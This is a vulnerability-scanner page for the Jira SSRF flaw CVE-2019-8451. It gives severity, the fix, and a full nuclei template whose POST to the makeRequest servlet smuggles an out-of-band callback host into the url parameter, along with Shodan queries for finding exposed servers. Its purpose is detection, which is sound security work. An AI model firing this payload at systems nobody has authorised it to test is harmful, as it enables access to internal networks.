Jira <8.4.0 - Server-Side Request Forgery

mediumseverity

6.5CVSS score

94.5%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Jira before 8.4.0 is susceptible to server-side request forgery. The /plugins/servlet/gadgets/makeRequest resource contains a logic bug in the JiraWhitelist class, which can allow an attacker to access the content of internal network resources and thus modify data, and/or execute unauthorized operations.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution.

Fix

Upgrade Jira to version 8.4.0 or later to mitigate the SSRF vulnerability.

How to confirm it

Send: POST {{BaseURL}}/plugins/servlet/gadgets/makeRequest
Positive when: contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2019-8451 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-8451

info:
  name: Jira <8.4.0 - Server-Side Request Forgery
  author: TechbrunchFR
  severity: medium
  description: Jira before 8.4.0 is susceptible to server-side request forgery. The /plugins/servlet/gadgets/makeRequest resource contains a logic bug in the JiraWhitelist class, which can allow an attacker to access the content of internal network resources and thus modify data, and/or execute unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution.
  remediation: |
    Upgrade Jira to version 8.4.0 or later to mitigate the SSRF vulnerability.
  reference:
    - https://www.tenable.com/blog/cve-2019-8451-proof-of-concept-available-for-server-side-request-forgery-ssrf-vulnerability-in
    - https://jira.atlassian.com/browse/JRASERVER-69793
    - https://hackerone.com/reports/713900
    - https://nvd.nist.gov/vuln/detail/CVE-2019-8451
    - https://github.com/merlinepedra/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2019-8451
    cwe-id: CWE-918
    epss-score: 0.94453
    epss-percentile: 0.99853
    cpe: cpe:2.3:a:atlassian:jira_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: atlassian
    product: jira_server
    shodan-query:
      - http.component:"Atlassian Jira"
      - http.component:"atlassian jira"
  tags: cve,cve2019,atlassian,jira,ssrf,oast,tenable,hackerone,vkev,vuln

http:
  - method: POST
    path:
      - '{{BaseURL}}/plugins/servlet/gadgets/makeRequest'

    body: |
      url=https://{{Host}}:443@{{interactsh-url}}

    headers:
      X-Atlassian-Token: no-check
      Content-Type: application/x-www-form-urlencoded
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http" # Confirms the HTTP Interaction

References

Use this check only on systems you are authorised to test. Where the data comes from